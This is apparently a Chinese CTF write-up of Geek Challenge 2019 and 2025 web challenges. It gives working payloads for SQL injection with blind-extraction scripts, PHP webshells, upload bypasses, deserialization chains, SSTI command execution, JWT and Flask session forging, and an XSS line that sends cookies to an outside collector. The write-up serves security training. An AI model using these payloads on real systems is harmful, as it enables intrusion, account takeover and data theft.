2019

[极客大挑战 2019]EasySQL

image-20250114000406548

直接万能密码闭合后登录即获得flag

闭合后语句username=1&password='1' or 1=1#'

[极客大挑战 2019]LoveSQL

使用万能密码尝试

username=1&password=1' or 1=1#

image-20250114002423442

有回显位置了,且题目提示flag放在了其他位置,下述payload的password均为上图数据

username=admin' order by 3# 
order by判断列数,列数为4时报错
username=a' union select 1,2,3#
用不存在的username才能找到回显位,不然使用admin只会重复上图,回显位为23
username=a' union select 1,(database()),3#
库名为geek
username=a' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='geek'),3#
表名有geekuser,l0ve1ysq1
username=a' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'),3#
列名有id,username,password
username=a' union select 1,(select group_concat(password) from l0ve1ysq1),3#
获得flag

[极客大挑战 2019]BabySQL

同样的payload

username=1&password=1' or 1=1#

image-20250114001017855

发现or没了,推测过滤or,尝试双写绕过成功登录(大小写绕过失败,换为||成功)

username=1&password=1' oorr 1=1#
如果是双写能成功登录就可直接爆库表列flag,但是双写不能绕过or过滤时,相当于过滤information_schema表,此时表名可通过mysql.innodb_table_stats表中相同方式爆出,flag通过无列名注入爆出
username=admin' oorrder by 3#
此时仍然报错了,根据报错内容推测把by也过滤了
username=admin' oorrder bbyy 3#
成功登录,接下来正常流程
username=a' union select 1,2,3#
这个payload也报错,根据报错内容推测unionselect都ban了
username=a' ununionion seselectlect 1,2,3#
成功找到回显位为2,3
username=a' ununionion seselectlect 1,(database()),3#
库名为geek
username=a' ununionion seselectlect 1,(seselectlect group_concat(table_name) from infoorrmation_schema.tables where table_schema='geek'),3#
还报错,根据报错提示将from和where也双写
username=a' ununionion seselectlect 1,(seselectlect group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema='geek'),3#
表名为b4bsql,geekuser
username=a' ununionion seselectlect 1,(seselectlect group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name='b4bsql'),3#
列名为id,username,password
username=a' ununionion seselectlect 1,(seselectlect group_concat(passwoorrd) frfromom b4bsql),3#
获得flag(注意爆flag时password中也有or)

[极客大挑战 2019]HardSQL

随便尝试万能密码注入,显示错误,用bpfuzz判断一下哪些字符被过滤了

image-20250114151130916

可以看到很多字符被过滤了,而ascii,left,join,select,floor,like,updatexml等关键词未被过滤

尝试报错注入
password=1'or(updatexml(1,concat(0x7e,(database()),0x7e),1))#
库名为geek,注意等号也被过滤了
password=1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek')),0x7e),1))#
表名为H4rDsq1
password=1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))#
列名为id,username,password
password=1'or(updatexml(1,concat(0x7e,(select(password)from(H4rDsq1)),0x7e),1))#
但是只出来一半的flag,使用substr(被ban),left,right解决,flag{1017f607-85ef-46d4-8d03-04
password=1'or(updatexml(1,concat(0x7e,(select(right(password,30))from(H4rDsq1)),0x7e),1))#
获得右边一半7-85ef-46d4-8d03-04400211b36b},拼接

[极客大挑战 2019]FinalSQL

题目提示要找到第六个代码,并且在url中有id

image-20250114160424856
结合题目提示使用盲注,尝试对id进行布尔盲注,这里要涉及到异或,两个数相同返回0,不同返回1

id=1^1           #报错
id=1^0 #id为1的页面
即后面的数字为注入点
尝试payload
id=1^(substr(database(),1,1)='g') #报错
id=1^(substr(database(),1,1)='c') #id为1的页面
可正常布尔盲注,脚本如下(由于最后的一排数据过多,对force3函数优化,查询后停0.1秒,能有效避免请求过多,且上限提升至600,所以把每个都增加了查询后停0.1秒)
import requests
import time

def force(url):
find=''
for i in range(1,200):
found_char=False
for j in range(32,128):#根据需要更改字典
payload = {'id':f"1^(ascii(substr(database(),{i},1))={j})"}
r = requests.get(url=url,params=payload).text

if('ERROR' in r):
find += chr(j)
print(find)
found_char = True
break
if not found_char:
print("未找到更多字符,库名为"+find)
break
return find

def force1(url):
find=''
for i in range(1,200):
found_char=False
for j in range(32,128):#根据需要更改字典
payload = {'id':f"1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='{database}')),{i},1))={j})"}
r = requests.get(url=url,params=payload).text

if('ERROR' in r):
find += chr(j)
print(find)
found_char = True
break
if not found_char:
print("未找到更多字符,表名为"+find)
break

def force2(url):
find=''
for i in range(1,200):
found_char=False
for j in range(32,128):#根据需要更改字典
payload = {'id':f"1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='{table}')),{i},1))={j})"}
r = requests.get(url=url,params=payload).text

if('ERROR' in r):
find += chr(j)
print(find)
found_char = True
break
if not found_char:
print("未找到更多字符,列名为"+find)
break

def force3(url):
find=''
for i in range(1,600):
found_char=False
for j in range(32,128):#根据需要更改字典
payload = {'id':f"1^(ascii(substr((select(group_concat({column}))from({table})),{i},1))={j})"}
r = requests.get(url=url,params=payload).text
time.sleep(0.1)
if('ERROR' in r):
find += chr(j)
print(find)
found_char = True
break
if not found_char:
print("未找到更多字符,flag为"+find)
break


if __name__ =="__main__":
#指定url
url='http://71344066-f916-483f-a15a-230ea9111242.node5.buuoj.cn:81/search.php'
database=force(url)
force1(url)
table=input("请输入表名:")
force2(url)
column=input("请输入列名:")
force3(url)

image-20250114165803654

image-20250114165812301

image-20250114170056828

image-20250114185819288

[极客大挑战 2019]Havefun

页面没啥找的就先看原码,看到注释部分提示GET传参cat=dog,传参后获得flag

image-20250114010028607

image-20250114010145776

[极客大挑战 2019]Http

打开页面没什么信息,在源码中找到Secret.php页面

image-20250114191647807

访问提示不是来自https://Sycsecret.buuoj.cn,即涉及到referer伪造,参考详解请求头信息

image-20250114191714414

抓包在bp重发器中伪造referer后如下

image-20250114192249528

提示用”Syclover” browser,将UA更换为Syclover后重发如下

image-20250114192458641

提示只能本地使用,那就通过X-Forwarded-For来伪造

image-20250114192843378

[极客大挑战 2019]Knife

基础解法

image-20250114193146754

进入环境就看到一句话木马,直接通过蚁剑连接即可

image-20250114193503087


后面看了其他师傅的wp,发现这个题思路还有很多,以下再提供两个大佬的其他思路,可参考原文[士别三日wyx](https://blog.csdn.net/wangyuxiang946/article/details/121023808?ops_request_misc=%7B%22request%5Fid%22%3A%22171075928816800182711393%22%2C%22scm%22%3A%2220140713.130102334..%22%7D&request_id=171075928816800182711393&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~top_positive~default-1-121023808-null-null.142^v99^pc_search_result_base7&utm_term=[极客大挑战 2019]Knife&spm=1018.2226.3001.4187)和[Senimo_](https://blog.csdn.net/weixin_44037296/article/details/109151169?ops_request_misc=%7B%22request%5Fid%22%3A%22171075928816800182711393%22%2C%22scm%22%3A%2220140713.130102334..%22%7D&request_id=171075928816800182711393&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~sobaiduend~default-4-109151169-null-null.142^v99^pc_search_result_base7&utm_term=[极客大挑战 2019]Knife&spm=1018.2226.3001.4187)

进阶解法一

一句话木马本身是利用代码执行的函数进行运行,说的简单点就是你的post请求传入eval()中,那也就是说,我们可以修改Post请求的参数来执行代码!

打开hackbar执行:

Syc=phpinfo();

可以直接进入展示PHP信息界面:

image-20250116173819465

这里很多人有疑问了,为什么要进入这里呢,因为在这个phpinfo界面下是无任何过滤的,这也是为什么,大多数网站的题目都要禁止或者加密不让访问这个界面,接下来进入下一步:

我们使用var_dump()+scandir()查看一下根目录:

Syc=var_dump(scandir('/'));

看起来无变化,但是只是由于背景颜色遮挡,直接看源码

image-20250116174019673

可以看到flag文件夹了,ctf有一个不成文的规矩就是要么不出flag字符,要么出现flag就在这里边!

那就访问下就好,使用vay_dump+file_get_contents()查看文件就还好了:

Syc=var_dump(file_get_contents('/flag'));

image-20250116174104875

在源码中就可以找到flag

这里引用大佬的一段话

喜欢一个东西首先要先学会「尊重」,虽然网络安全的圈子不乏各种灰产,以及高调宣传自己是黑客的脚本小子,但不可否认,这个圈子仍有不少人保持着「举世皆浊我独清,众人皆醉我独醒」的心态,努力磨砺技术,提升自身修养,让互联网变得更加安全。

进阶解法二

连接一句木马并使用SHELL,需要将一句话木马作为POST传值的参数,将PHP语句作为值传入,并通过PHP语句执行SHELL命令。

我们剖析一下菜刀的原理,先看下菜刀发送的数据包:

op=@eval(base64_decode($_POST[attack]));&attack=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOztwcmludCgiaGVsbG8gUEhQISIpOztlY2hvKCJ8PC0iKTtkaWUoKTs=

op=@eval(base64_decode($_POST[attack]));为正常的一句话木马,其通过POST方式传参,参数名为attack
base64_decode()函数解码了传入的值
因为对传入的值进行BASE64编码可以有效的防止特殊字符传输失败的异常。
把值进行BASE64解码,得到:

@ini_set("display_errors","0"); @set_time_limit(0); @set_magic_quotes_runtime(0); echo("->|");; print("hello PHP!");; echo("|<-"); die();

首先进行测试,hackbar传参可获得回显
image-20250116174518979

因此直接搬运脚本

# -*- coding:utf-8 -*-
# name: Meng
# mail: 614886708@qq.com
# ctf_exp06:BUUCTF [极客大挑战 2019] Knife

import requests
import re


class Knife:
def __init__(self, url_input):
self.payload_data = {"Syc": "exec('cat /flag',$out);print_r($out);die();"}
self.status_code = 1 # 链接状态:0:无效,1:连通
self.url = url_input.strip()
self.flag = ''

def url_test(self):
# 可以重复输错10次链接
for i in range(9):
try:
# 对输入的url做判断
if self.url.endswith('/index.php') or self.url.endswith('buuoj.cn/') or self.url.endswith('buuoj.cn'):
# 尝试访问链接是否为200
requests.get(self.url)
print('测试状态: 200 ' + self.url)
except:
print('无效链接!请重新输入!')
self.url = input('请输入题目链接:')
self.status_code = 0

else:
self.status_code = 1
break

if self.status_code == 0:
print('无效链接!退出程序!')
return

def num_test(self):
# 设置获取flag只能重复30次
for i in range(30):
try:
r = requests.post(self.url, data=self.payload_data)

# 匹配buuctf平台flag格式
self.flag = re.search(r'flag\{.+\}', r.text).group()

except:
print('第 ' + str(i+1) + ' 次未获取到flag! 正在重试!')
else:
break

def run(self):
self.url_test() # 连接测试
self.num_test() # flag获取

if self.flag == '':
print('已尝试30次!未获取到flag! 退出程序!')

return self.flag


if __name__ == '__main__':
print('ctf_exp0: BUUCTF [极客大挑战 2019] Knife')
url_input = input('请输入题目链接:')
print(Knife(url_input).run())
input() # 防止退出cmd

同样可以获得flag

image-20250116174719694

[极客大挑战 2019]BuyFlag

源码中发现pay.php,进入后再次在源码中找到注释内容

image-20250116154421464

即password传参为404且不全为数字(弱比较),即传404a都行

在pay.php页面中发现提示必须以学生身份购买flag,发现cookie中有user=0,尝试改为1

image-20250116155348907

提示还需要pay,因此传money=100000000,提示数字过长,使用科学计数法获得flag

image-20250116155500321

[极客大挑战 2019]Upload

写含一句话木马<?php eval($POST['123']);?>的php文件尝试上传

image-20250116160408869

显示不是图片文件,直接抓包修改后缀为image/jpeg判断是否是客户端验证

image-20250116160628726

返回not php,说明成功绕过文件类型限制,但是还是要对文件内容进行检测,将文件内容改为

<script language='php'>@eval($_POST['123']);</script>

将后缀改为phtml可绕过php限制(绕过后缀的有文件格式有php,php3,php4,php5,phtml,pht)

还是提示不是上传的图片文件,因此通过伪造jpg文件头成功上传,前面加上GIF89a,这个可以伪造成jpg格式的文件。

image-20250116161855456

image-20250116162113948

上传成功后就要找到保存路径通过蚁剑连接,一般保存在/upload下

image-20250116162346128

成功找到该文件,通过蚁剑连接,注意蚁剑url地址为url/upload/filename

image-20250116162834596

在根目录下找到flag

[极客大挑战 2019]Secret File

根据题目先在源码中找到/Archive_room.php,访问secret后发现直接跳转到end.php中,并且显示查阅结束,因此抓包重新看过程

image-20250116164803864

发现注释了secr3t.php,bp访问得下图,即文件包含漏洞

image-20250116164855835

源码如下

<?php
highlight_file(__FILE__);
error_reporting(0);
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag放在了flag.php里
?>

即构造一个伪协议,payload如下

file=php://filter/resource=flag.php

image-20250116170023492

提示就在这里但是看不到,尝试base64编码后读取,payload如下

file=php://filter/read=convert.base64-encode/resource=flag.php

image-20250116170256946

将下列字符解码后得到

image-20250116170330203

贴一个python的base64解码脚本

import base64  

def base64_decoder(encoded_string):
try:
decoded_bytes = base64.b64decode(encoded_string)
decoded_string = decoded_bytes.decode('utf-8')
return decoded_string
except Exception as e:
return f"解码失败: {e}"

# 示例用法
encoded_string = input("请输入待解码字符串:") # 这是的Base64编码
decoded_string = base64_decoder(encoded_string)
print(decoded_string)

[极客大挑战 2019]PHP

提示有备份网站习惯,那就访问下常见的比如www.zip,index.php.bak等,也可以扫目录。然后发现www.zip可下载

//index.php
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>
//class.php
<?php
include 'flag.php';


error_reporting(0);


class Name{
private $username = 'nonono';
private $password = 'yesyes';

public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}

function __wakeup(){
$this->username = 'guest';
}

function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();


}
}
}
?>

这里就涉及到绕过__wakeup,因为在反序列化时会自动触发__wakeup方法从而重新给username赋值

当当前属性个数大于实际属性个数时,就会跳过__wakeup方法而直接进行__destruct

并且还是私有属性,需要在类名和字段名前都加上\0,即%00

<?php
error_reporting(0);

class Name{
private $username = 'nonono';
private $password = 'yesyes';

public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
}

$a=new Name('admin',100);
echo serialize($a);
?>
//O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
//O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
//O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

image-20250507173242721

[极客大挑战 2019]RCE ME

<?php
error_reporting(0);
if (isset($_GET['code'])) {
$code = $_GET['code'];
if (strlen($code) > 40) {
die("This is too Long.");
}
if (preg_match("/[A-Za-z0-9]+/", $code)) {
die("NO.");
}
@eval($code);
} else {
highlight_file(__FILE__);
} ?
>
<?php
$a = 'assert';
$b = '(eval($_POST[123]))';
$c=urlencode(~$a);
$d=urlencode(~$b);
echo "(~$c)(~$d);";
//(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%CE%CD%CC%A2%D6%D6);

然后连马就行,由于ban的函数比较多,所以用蚁剑的插件连,选择这个

image-20250507181348331

然后直接用根目录下的/readflag就行

image-20250507184742269

2025

阿基里斯追乌龟

抓包修改参数就行

image-20251104191716029

SYC{Spi1t_th3_T1me_t0_the_3nd_019a4e9399967715b7306d193d4fee9b}

Vibe SEO

没找到什么有用的东西,那就先扫个目录吧,发现/sitemap.xml

image-20251104192639076

image-20251104192657051

找到/aa__^^.php,访问,看到报错猜测是通过readfile()读取文件,直接传参获得源码

image-20251104192748245

<?php
$flag = fopen('/my_secret.txt', 'r');
if (strlen($_GET['filename']) < 11) {
readfile($_GET['filename']);
} else {
echo "Filename too long";
}

这个就要涉及到/dev/fd//dev/fd/下保存当前进程用到的文件句柄,即文件描述符

文件描述符(file descriptor)就是内核为了高效管理这些已经被打开的文件所创建的索引,其是一个非负整数(通常是小整数),用于指代被打开的文件,所有执行I/O操作的系统调用都通过文件描述符来实现。同时还规定系统刚刚启动的时候,0是标准输入,1是标准输出,2是标准错误。这意味着如果此时去打开一个新的文件,它的文件描述符会是3,再打开一个文件文件描述符就是4……

因为不知道这个文件具体是什么位置,所以直接爆破一下得到flag

image-20251104193536644

SYC{019a4e9693c47cd098623b824950cf80}

Xross The Finish Line

发现过滤了script",空格,onerror等,直接外带就行

<body/onload=fetch(`http://ip:port/xss/xss.php?cookie=${document.cookie}`)>
#xss.php
<?php
$cookie = $_GET['cookie'];
$result = fopen("cookie.txt", "a");
fwrite($result,$cookie . "\n");
fclose($result);
?>

image-20251107143854509

SYC{019a5d09744977118bf1052710e2de45}

Expression

既然题目说的是直接使用网上的jwt密钥,那就直接尝试c-jwt-cracker爆破,得到密钥为secret

3efd1c7dad8db3a5202b86c27abb8fd4

然后以admin登录进去发现什么也没有?看到框架为Express,并且username中数据原样输出,尝试渲染注入

这里是ejs模块注入,参考Ejs模板引擎注入实现RCE-先知社区,直接查看环境变量就行

{
"email": "1@qq.com",
"username": "<%= JSON.stringify(process.env) %>",
"iat": 1762256886,
"exp": 1762861686
}
Cookie:token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6IjFAcXEuY29tIiwidXNlcm5hbWUiOiI8JT0gSlNPTi5zdHJpbmdpZnkocHJvY2Vzcy5lbnYpICU-IiwiaWF0IjoxNzYyMjU2ODg2LCJleHAiOjE3NjI4NjE2ODZ9.Q2MIAr4XH_YrFFKzNm8lzI_yN9iC2VwYBTjeOkVpJ1A

image-20251104195829962

SYC{019a4eae85d9778ebd969d2add573702}


也可以通过这样执行命令

<%= global.process.mainModule.require('child_process').execSync('env') %>

popself

<?php
show_source(__FILE__);

error_reporting(0);
class All_in_one
{
public $KiraKiraAyu;
public $_4ak5ra;
public $K4per;
public $Samsāra;
public $komiko;
public $Fox;
public $Eureka;
public $QYQS;
public $sleep3r;
public $ivory;
public $L;

public function __set($name, $value){
echo "他还是没有忘记那个".$value."<br>";
echo "收集夏日的碎片吧<br>";

$fox = $this->Fox;

if ( !($fox instanceof All_in_one) && $fox()==="summer"){
echo "QYQS enjoy summer<br>";
echo "开启循环吧<br>";
$komiko = $this->komiko;
$komiko->Eureka($this->L, $this->sleep3r);
}
}

public function __invoke(){
echo "恭喜成功signin!<br>";
echo "welcome to Geek_Challenge2025!<br>";
$f = $this->Samsāra;
$arg = $this->ivory;
$f($arg);
}
public function __destruct(){

echo "你能让K4per和KiraKiraAyu组成一队吗<br>";

if (is_string($this->KiraKiraAyu) && is_string($this->K4per)) {
if (md5(md5($this->KiraKiraAyu))===md5($this->K4per)){
die("boys和而不同<br>");
}

if(md5(md5($this->KiraKiraAyu))==md5($this->K4per)){
echo "BOY♂ sign GEEK<br>";
echo "开启循环吧<br>";
$this->QYQS->partner = "summer";
}
else {
echo "BOY♂ can`t sign GEEK<br>";
echo md5(md5($this->KiraKiraAyu))."<br>";
echo md5($this->K4per)."<br>";
}
}
else{
die("boys堂堂正正");
}
}

public function __tostring(){
echo "再走一步...<br>";
$a = $this->_4ak5ra;
$a();
}

public function __call($method, $args){
if (strlen($args[0])<4 && ($args[0]+1)>10000){
echo "再走一步<br>";
echo $args[1];
}
else{
echo "你要努力进窄门<br>";
}
}
}

class summer {
public static function find_myself(){
return "summer";
}
}
$payload = $_GET["24_SYC.zip"];

if (isset($payload)) {
unserialize($payload);
} else {
echo "没有大家的压缩包的话,瓦达西!<br>";
}

?>

还是跟着链子写就行了

#All_in_one::__destruct->All_in_one::__set->All_in_one::__call->All_in_one::__tostring->All_in_one::__invoke

__destruct

首先的MD5通过0e绕过

<?php
$KiraKiraAyu="0e1138100474";
$K4per="QNKCDZO";
if (is_string($KiraKiraAyu) && is_string($K4per)) {
if (md5(md5($KiraKiraAyu))===md5($K4per)){
die("boys和而不同<br>");
}

if(md5(md5($KiraKiraAyu))==md5($K4per)){
echo "BOY♂ sign GEEK<br>";
echo "开启循环吧<br>";
}
else {
echo "BOY♂ can`t sign GEEK<br>";
echo md5(md5($KiraKiraAyu))."<br>";
echo md5($K4per)."<br>";
}
}
else{
die("boys堂堂正正");
}

image-20251105132435948

__set

通过数组元素绕过

在 PHP 中,可调用(callable)有几种形式,常见有两种:

  1. 字符串形式:"func_name" —— 调用全局函数。
  2. 数组形式:[class_or_object, methodName] —— 首元素是类名(字符串)或对象实例,第二元素是方法名(字符串)。调用时相当于 class_or_object::methodName()$object->methodName()

__call

if (strlen($args[0])<4 && ($args[0]+1)>10000){
echo "再走一步<br>";
echo $args[1];
}
else{
echo "你要努力进窄门<br>";
}

通过科学计数法绕过,args[0]="1e5"即可满足,注意必须是字符串类型,否则在strlen的时候就会被转换。同时这里赋值是通过$komiko->Eureka($this->L, $this->sleep3r);来赋值的,Largs[0]sleep3rargs[1]

<?php
$args=array(1e4,"1e4");
echo strlen($args[0])."\n";
echo ($args[0]+1)."\n";
echo strlen($args[1])."\n";
echo ($args[1]+1);

image-20251105181531634

exp

完整exp如下

<?php
class All_in_one
{
public $KiraKiraAyu;
public $_4ak5ra;
public $K4per;
public $Samsāra;
public $komiko;
public $Fox;
public $Eureka;
public $QYQS;
public $sleep3r;
public $ivory;
public $L;
}

class summer {
public static function find_myself(){
return "summer";
}
}

$a=new All_in_one();
$a->KiraKiraAyu="0e1138100474";
$a->K4per="QNKCDZO";
$a->QYQS=new All_in_one();
$a->QYQS->Fox=array('summer','find_myself');
$a->QYQS->komiko=new All_in_one();
$a->QYQS->L="1e4";
$a->QYQS->sleep3r=new All_in_one();
$a->QYQS->sleep3r->_4ak5ra=new All_in_one();
$a->QYQS->sleep3r->_4ak5ra->Samsāra="system";
$a->QYQS->sleep3r->_4ak5ra->ivory="env";

echo "24[SYC.zip=".serialize($a);
#All_in_one::__destruct->All_in_one::__set->All_in_one::__call->All_in_one::__tostring->All_in_one::__invoke
GET:24[SYC.zip=O:10:"All_in_one":11:{s:11:"KiraKiraAyu";s:12:"0e1138100474";s:7:"_4ak5ra";N;s:5:"K4per";s:7:"QNKCDZO";s:8:"Samsāra";N;s:6:"komiko";N;s:3:"Fox";N;s:6:"Eureka";N;s:4:"QYQS";O:10:"All_in_one":11:{s:11:"KiraKiraAyu";N;s:7:"_4ak5ra";N;s:5:"K4per";N;s:8:"Samsāra";N;s:6:"komiko";O:10:"All_in_one":11:{s:11:"KiraKiraAyu";N;s:7:"_4ak5ra";N;s:5:"K4per";N;s:8:"Samsāra";N;s:6:"komiko";N;s:3:"Fox";N;s:6:"Eureka";N;s:4:"QYQS";N;s:7:"sleep3r";N;s:5:"ivory";N;s:1:"L";N;}s:3:"Fox";a:2:{i:0;s:6:"summer";i:1;s:11:"find_myself";}s:6:"Eureka";N;s:4:"QYQS";N;s:7:"sleep3r";O:10:"All_in_one":11:{s:11:"KiraKiraAyu";N;s:7:"_4ak5ra";O:10:"All_in_one":11:{s:11:"KiraKiraAyu";N;s:7:"_4ak5ra";N;s:5:"K4per";N;s:8:"Samsāra";s:6:"system";s:6:"komiko";N;s:3:"Fox";N;s:6:"Eureka";N;s:4:"QYQS";N;s:7:"sleep3r";N;s:5:"ivory";s:3:"env";s:1:"L";N;}s:5:"K4per";N;s:8:"Samsāra";N;s:6:"komiko";N;s:3:"Fox";N;s:6:"Eureka";N;s:4:"QYQS";N;s:7:"sleep3r";N;s:5:"ivory";N;s:1:"L";N;}s:5:"ivory";N;s:1:"L";s:3:"1e4";}s:7:"sleep3r";N;s:5:"ivory";N;s:1:"L";N;}

image-20251105183623531

SYC{Round_And_r0und_019a5384168571cf87b448fe7d8cc409}

one_last_image

抓包改为php后缀即可成功上传

image-20251105184540238

image-20251105184515095

SYC{0_M3_de_t0u_019a53976b0a708990d94740b02bb176}

Sequal No Uta

过滤了空格(%09绕过),并且发现只有三种回显,尝试后发现以下语句可正常回显

name=1'%09or%091=1--+

image-20251109163010206

那就能直接开始盲注了

name=1'%09or%09(substr((select%09name%09from%09pragma_database_list),1,1)='m')--+

bp跑一下发现能成功

image-20251109164710201

那就直接上脚本

import requests

def brute_force(url,word):
find = ''
for i in range(1,100):
found_char = False
for j in range(32,128):
char=chr(j)
payload = f"1' or (substr((select name from pragma_database_list),{i},1)='{char}')--+"
response = requests.get(url, params={'name': (payload.replace(' ','\t'))})

if word in response.text :
find += chr(j)
print(find)
found_char = True
break
if not found_char:
print("未找到更多字符,结果为"+find)
break


if __name__ == "__main__":
# 指定的URL
url = 'http://019a6837-8115-7845-abb5-d0b51e32e9ea.geek.ctfplus.cn/check.php'
word="用户存在"

brute_force(url,word)
以下只给子查询语句
查库名
select name from pragma_database_list
main

查表名
select group_concat(name) from sqlite_master where type='table'
users,sqlite_sequence

查列名
select group_concat(name) from pragma_table_info('users')
id,username,password,is_active,secret

查字段
select group_concat(secret) from users
SYC{YourPoem-019a68f88a787b34b3cc9b6f69a31512}

image-20251109221948463

SYC{YourPoem-019a68f88a787b34b3cc9b6f69a31512}

ez_read

随便登录注册,找到有读文件功能,随便测试发现../被置空,双写绕过读取app.py获得源码

GET:filename=....//app.py
#app.py
from flask import Flask, request, render_template, render_template_string, redirect, url_for, session
import os

app = Flask(__name__, template_folder="templates", static_folder="static")
app.secret_key = "key_ciallo_secret"

USERS = {}


def waf(payload: str) -> str:
print(len(payload))
if not payload:
return ""

if len(payload) not in (114, 514):
return payload.replace("(", "")
else:
waf = ["__class__", "__base__", "__subclasses__", "__globals__", "import","self","session","blueprints","get_debug_flag","json","get_template_attribute","render_template","render_template_string","abort","redirect","make_response","Response","stream_with_context","flash","escape","Markup","MarkupSafe","tojson","datetime","cycler","joiner","namespace","lipsum"]
for w in waf:
if w in payload:
raise ValueError(f"waf")

return payload


@app.route("/")
def index():
user = session.get("user")
return render_template("index.html", user=user)


@app.route("/register", methods=["GET", "POST"])
def register():
if request.method == "POST":
username = (request.form.get("username") or "")
password = request.form.get("password") or ""
if not username or not password:
return render_template("register.html", error="用户名和密码不能为空")
if username in USERS:
return render_template("register.html", error="用户名已存在")
USERS[username] = {"password": password}
session["user"] = username
return redirect(url_for("profile"))
return render_template("register.html")


@app.route("/login", methods=["GET", "POST"])
def login():
if request.method == "POST":
username = (request.form.get("username") or "").strip()
password = request.form.get("password") or ""
user = USERS.get(username)
if not user or user.get("password") != password:
return render_template("login.html", error="用户名或密码错误")
session["user"] = username
return redirect(url_for("profile"))
return render_template("login.html")


@app.route("/logout")
def logout():
session.clear()
return redirect(url_for("index"))


@app.route("/profile")
def profile():
user = session.get("user")
if not user:
return redirect(url_for("login"))
name_raw = request.args.get("name", user)

try:
filtered = waf(name_raw)
tmpl = f"欢迎,{filtered}"
rendered_snippet = render_template_string(tmpl)
error_msg = None
except Exception as e:
rendered_snippet = ""
error_msg = f"渲染错误: {e}"
return render_template(
"profile.html",
content=rendered_snippet,
name_input=name_raw,
user=user,
error_msg=error_msg,
)


@app.route("/read", methods=["GET", "POST"])
def read_file():
user = session.get("user")
if not user:
return redirect(url_for("login"))

base_dir = os.path.join(os.path.dirname(__file__), "story")
try:
entries = sorted([f for f in os.listdir(base_dir) if os.path.isfile(os.path.join(base_dir, f))])
except FileNotFoundError:
entries = []

filename = ""
if request.method == "POST":
filename = request.form.get("filename") or ""
else:
filename = request.args.get("filename") or ""

content = None
error = None

if filename:
sanitized = filename.replace("../", "")
target_path = os.path.join(base_dir, sanitized)
if not os.path.isfile(target_path):
error = f"文件不存在: {sanitized}"
else:
with open(target_path, "r", encoding="utf-8", errors="ignore") as f:
content = f.read()

return render_template("read.html", files=entries, content=content, filename=filename, error=error, user=user)


if __name__ == "__main__":
app.run(host="0.0.0.0", port=8080, debug=False)

又查看环境变量时找到提示,用我提个权吧

image-20251107155333701

既然要提权那肯定要先执行命令,app.py发现在登录注册的位置存在ssti

username:{{7*7}}
回显49
username:{{config}}
回显中找到'SECRET_KEY': 'key_ciallo_secret'

然后就想到session伪造,用伪造之后的去访问/profile界面发现成功了

key_ciallo_secret

{'user': '{{7*7}}'}

flask-unsign --sign --cookie "{'user': '{{7*7}}'}" --secret 'key_ciallo_secret'
eyJ1c2VyIjoie3s3Kjd9fSJ9.aQ2bvQ.0PByPkgv8K2Ft3Clqs8UoppcQqc

image-20251107151536884

所以直接在session中尝试伪造,注意这里需要凑长度来实现长度为114或514,先来测试一下发现1{{7*7}}可以实现

flask-unsign --sign --cookie "{'user': '1{{7*7}}'}" --secret 'key_ciallo_secret'
eyJ1c2VyIjoiMXt7Nyo3fX0ifQ.aQ2moQ.Tna93o_jDAZMouMnBWNYNOS8tGE

image-20251107155956596

可以用这个脚本来进行本地测试

def waf(payload: str) -> str:
print(len(payload))
if not payload:
return ""

if len(payload) not in (114, 514):
return payload.replace("(", "")
else:
waf = ["__class__", "__base__", "__subclasses__", "__globals__", "import","self","session","blueprints","get_debug_flag","json","get_template_attribute","render_template","render_template_string","abort","redirect","make_response","Response","stream_with_context","flash","escape","Markup","MarkupSafe","tojson","datetime","cycler","joiner","namespace","lipsum"]
for w in waf:
if w in payload:
print(w)
return "waf"
print(len(payload))
return payload

a='1111111111111111111111111111111111111111111111111111111111111111111111111111111111111{{().__cla""ss__.__ba""se__}}'
print(waf(a))

可以用这个脚本来实现payload输出

payload='{{""["__cla""ss__"]["__m""ro__"]}}'
result=(514-len(payload))*"1"+payload
print(result)
{{""["__cla""ss__"]["__m""ro__"][1]["__subcl""asses__"]()[142]["__in""it__"]["__glo""bals__"]["po""pen"]("ls /")["read"]()}}
111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111{{""["__cla""ss__"]["__m""ro__"][1]["__subcl""asses__"]()[142]["__in""it__"]["__glo""bals__"]["po""pen"]("ls /")["read"]()}}

boot dev entrypoint.sh etc flag home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var

既然环境变量中提到提权,那就直接使用环境变量提权

